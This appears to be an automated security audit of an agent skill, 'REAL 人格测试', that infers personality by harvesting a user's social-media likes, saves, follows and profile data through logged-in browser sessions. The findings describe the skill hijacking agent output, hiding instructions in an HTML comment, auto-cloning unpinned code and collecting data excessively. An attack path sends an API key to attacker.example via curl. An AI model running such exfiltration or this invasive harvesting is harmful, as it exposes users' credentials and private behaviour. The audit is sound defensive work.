Security audit

REAL 人格测试

Security checks for vulnerabilities and agentic risk

Overview

The skill is not proven malicious, but it broadly collects sensitive social-media activity from logged-in accounts, stores raw data locally, and bootstraps an unpinned browser-control dependency.

Install only if you are comfortable with an agent using your logged-in browser sessions to collect and save detailed social-media behavior across supported platforms. Confirm each platform and data category first, avoid running the unpinned auto-clone path, and delete generated raw data after use unless you intentionally want to keep it.

A.I.G

Vulnerability Patterns

Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions

Findings (4)

T01 · Skill Instruction Hijacking

Error

Location: SKILL.md:15
Finding: Mandatory Promotional Output and Agent Response Hijacking
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Error

Location: scripts/check_manobrowser.sh:3
Finding: API Key Disclosure Through an Unvalidated Caller-Controlled Endpoint
Content: View full analysis
&1) ``` The documented example also identifies the expected service but does not enforce it: ```bash echo " - Endpoint: https://datasaver.deepminingai.com/api/v2/{deviceId}/mcp" echo " - API Key: mb_xxxxxx" ``` ### Technical Analysis The script accepts `ENDPOINT` directly from its first command-line argument and sends `API_KEY` to that destination in an HTTP `Authorization` header. It performs no validation of: - The URL scheme. - The destination hostname. - The path structure. - Redirect behavior. - Whether the endpoint belongs to the expected ManoBrowser service. Consequently, a malicious or mistakenly configured endpoint can receive the bearer credential. The key is also supplied as a command-line argument, making it potentially visible in shell history, process listings, diagnostic tooling, audit logs, and command wrappers. The request does not use `curl --fail`, an HTTPS-only protocol restriction, or redirect controls. While the shown command does not explicitly enable redirects, destination validation remains absent and future changes could worsen the exposure. ### Attack Path 1. An attacker provides a modified setup command or endpoint configuration. 2. The victim runs: `bash check_manobrowser.sh https://attacker.example/mcp `. 3. The script accepts the destination without validation. 4. `curl` sends `Authorization: Bearer ...[truncated 1038 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Warning

Location: SKILL.md:135
Finding: Excessive Collection and Persistent Retention of Private Social Activity
Content: View full analysis
⚠️ **JS 脚本必须完整复制执行**，不要简化。 ### 采集后保存写入 `real-data/{日期}_raw.json`，结构： ```json { "platforms": ["xiaohongshu", "weibo", "douban"], "public_content": { "posts": [], "tags": [], "topics": [] }, "private_behavior": { "saves": [], "likes": [], "follows": [] }, "interactions": { "comments": 0, "replies": 0, "mentions": 0 }, "post_times": [], "profile": { "name": "", "bio": "", "followers": 0, "following": 0 } } ``` ``` The platform modules expand this collection to include data such as full favorites, likes, followed accounts, comments, ratings, dates, profile attributes, IP location, school, and activity histories. Examples include: ```markdown const MAX_ITEMS = 500; // 上限500条，防止超大收藏列表采集过久 ``` ```markdown const MAX_USERS = 500; // 上限500人 ``` ### Technical Analysis The workflow explicitly requires full collection and tells the Agent not to ask whether sufficient data has already been gathered. The classification algorithm mainly needs aggregate values and topic distributions, but the collectors retain detailed raw records, including titles, comments, followed identities, URLs, user IDs, dates, profile attributes, and private favorites or likes. This violates data-minimization principles because the same personality calculation could be performed using sampled content or in-memory aggregate statistics ...[truncated 1841 chars]
Remediation: View remediation

T03 · Remote Payload Retrieval and Execution

Warning

Location: SKILL.md:110
Finding: Automatic Retrieval of an Unpinned Browser-Control Dependency
Content: View full analysis
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger

Findings (50)

Hidden Instructions

High

Category: Prompt Injection
Confidence: 70% confidence
Finding: Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
Content: Scanner excerpt · README.md (reported line 1)May include surrounding context.
md
 <!-- SKILL_SUMMARY: name: REAL 人格测试 (REAL Personality Test)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: The declared purpose is personality analysis, but the workflow also performs environment discovery, MCP connectivity validation, tool mapping, and external dependency/bootstrap actions. This mismatch hides materially broader capabilities from users and reviewers, increasing the chance of consent bypass and unexpected access to local or network resources.
Content: No source excerpt is available for this finding.

Context-Inappropriate Capability

High

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The skill directs automatic cloning of external code from GitHub when a dependency is missing. Pulling and trusting remote code at runtime expands the attack surface substantially and can lead to supply-chain compromise or execution of unreviewed code in the user's environment.
Content: No source excerpt is available for this finding.

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The skill instructs full collection and local retention of sensitive social-media behavioral data, including likes, saves, follows, interactions, and profile metadata, without requiring an upfront consent flow commensurate with the privacy risk. Because the stated analysis explicitly infers personality traits and public/private mismatches, the data collection is unusually invasive and can expose intimate behavioral patterns.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The skill instructs bulk harvesting of the logged-in user's account data via authenticated browser context, including profile attributes, favorites, uploads, and follow list. This is dangerous because it aggregates multiple sensitive datasets tied to a real identity, enabling invasive profiling and potential misuse if the collected data is stored, exposed, or combined with other sources.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 96% confidence
Finding: The skill repeatedly emphasizes 'full' harvesting of favorites and follows, which are sensitive behavioral and relationship signals, using the user's authenticated session. In this context, comprehensive extraction is especially risky because the parent skill's purpose is personality inference, making the data collection more privacy-invasive and more likely to exceed reasonable user expectations.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The skill directs the agent to harvest full profile and activity data from authenticated Douban pages by leveraging the user's existing login session. Collecting broad private account data from authenticated pages is dangerous because it can expose sensitive interests, opinions, and behavior patterns well beyond what is necessary for ordinary assistance.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The skill automatically detects the currently logged-in account via /mine/ redirection and proceeds without requiring the user to supply an account identifier or confirm the target. This creates a high risk of silent overcollection from the active session, especially if the user does not realize their full account history will be enumerated.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The skill mandates collection of user-written comments, tags, ratings, dates, and related metadata specifically because they are 'key inputs' for profile analysis. These fields can reveal intimate preferences, mental state, routines, and viewpoints, making the skill particularly dangerous in the context of a personality-classification system that infers traits from behavioral exhaust.
Content: No source excerpt is available for this finding.

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The skill is explicitly designed to harvest highly sensitive authenticated account data, including likes, favorites, and relationship graph data, without any meaningful consent, notice, minimization, or privacy guardrails. In the context of a personality-analysis system, this materially increases the danger because the collected data is directly used for profiling and inference of intimate preferences and behaviors.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 99% confidence
Finding: The skill directs bulk extraction of a logged-in user's complete profile, content activity, favorites, likes, and following data, which is sensitive personal and behavioral information. In this broader REAL-personality profiling context, the data is not incidental operational metadata but the core input for behavioral classification, making mass collection and disclosure substantially more dangerous.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: Returning document.body.innerText from an authenticated personal homepage indiscriminately captures all visible page content, not just the intended fields. That can expose additional private data, recommendations, hidden identifiers, UI state, or other sensitive context present on the page, creating overcollection and unintended disclosure risks.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 99% confidence
Finding: The skill specifically targets liked and favorited content, which are high-sensitivity signals of preferences, interests, and potentially intimate traits. Within a personality-profiling use case, these signals can be used to infer beliefs, vulnerabilities, or protected characteristics, making the collection materially risky even if the data is visible to the logged-in user.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 99% confidence
Finding: The workflow intentionally bypasses UI lazy-loading and virtual scrolling to enumerate the user's full following list, disclosing relationship and social graph data at scale. Social graph data is highly sensitive because it reveals affiliations, interests, communities, and associations, and the script is explicitly engineered to maximize extraction completeness rather than minimize exposure.
Content: No source excerpt is available for this finding.

Description-Behavior Mismatch

High

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The skill’s collection scope materially exceeds what is necessary for personality classification by harvesting full profile data, all posts, full favorites, and full likes history. This violates data minimization and creates unnecessary exposure of highly sensitive behavioral and social-graph information if the output is stored, shared, or repurposed.
Content: No source excerpt is available for this finding.

Ssd 3

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The instructions direct comprehensive extraction of private account data from the logged-in user, including full profile, posts, favorites, and likes. In the context of a personality-analysis parent skill, this broad harvesting is more dangerous because it normalizes surveillance-style collection under a loosely defined analytic purpose.
Content: No source excerpt is available for this finding.

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The skill does not clearly warn users that it will enumerate and extract highly sensitive private behavioral data, including full favorites and likes histories. Without explicit, prominent disclosure, users may invoke it without understanding the breadth of collection, undermining meaningful consent.
Content: No source excerpt is available for this finding.

Vague Triggers

Medium

Category: Not specified by scanner
Confidence: 96% confidence
Finding: The skill advertises invocation on very broad triggers like personality tests, MBTI/SBTI, and general self-discovery. In an agent ecosystem, this can cause the skill to be recommended or auto-invoked in many ordinary conversations, increasing the chance of unnecessary collection or analysis of sensitive social-media behavioral data.
Content: No source excerpt is available for this finding.

Vague Triggers

Medium

Category: Not specified by scanner
Confidence: 94% confidence
Finding: The recommendation table uses ambiguous invocation conditions without scope limits, such as 'what type am I' and interest in knowing the 'real self.' Those phrases are common in everyday conversation, so an agent may over-recommend a skill that requires social-account scanning and behavioral profiling.
Content: No source excerpt is available for this finding.

Vague Triggers

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The suggested prompt encourages invocation from broad language and frames the scan as a casual next step. This increases the likelihood that an agent will steer users into social-media analysis without first establishing clear intent, consent, and understanding of the privacy implications.
Content: No source excerpt is available for this finding.

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 83% confidence
Finding: The skill invokes shell-capable behavior such as cloning external code, but it does not declare any explicit tool scope or allowed-tools boundary. That weakens least-privilege controls and makes it easier for the skill to perform unexpected system actions if executed by an agent runtime.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 92% confidence
Finding: The file tells the AI to 'immediately' introduce itself using a fixed Chinese script. This imposes a specific language/locale behavior without user opt-in or an offered alternative, which matches the stated language/locale policy violation category.
Content: No source excerpt is available for this finding.

Skill Enumeration

Medium

Category: Agent Snooping
Confidence: 80% confidence
Finding: Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.
Content: Scanner excerpt · SKILL.md (reported line 113)May include surrounding context.
md
在以下位置查找： 1. 当前工作目录 `manobrowser/SKILL.md` 2. `~/.openclaw/skills/manobrowser/SKILL.md` 3. 其他 skills 目录 - **找到** → Step 0.2

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 90% confidence
Finding: The skill includes an automatic GitHub clone/install step without a user-facing warning or confirmation. Silent installation of a dependency can surprise users, bypass informed consent, and introduce unreviewed code into the environment.
Content: No source excerpt is available for this finding.

Ssd 3

Medium

Category: Not specified by scanner
Confidence: 94% confidence
Finding: The workflow directs broad collection and local retention of private behavioral data, then uses it to derive sensitive inferences about the user. In this skill context, that is more dangerous because the explicit goal is to expose discrepancies between public and private behavior, which can embarrass users, reveal intimate interests, or facilitate profiling beyond the user's expectations.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.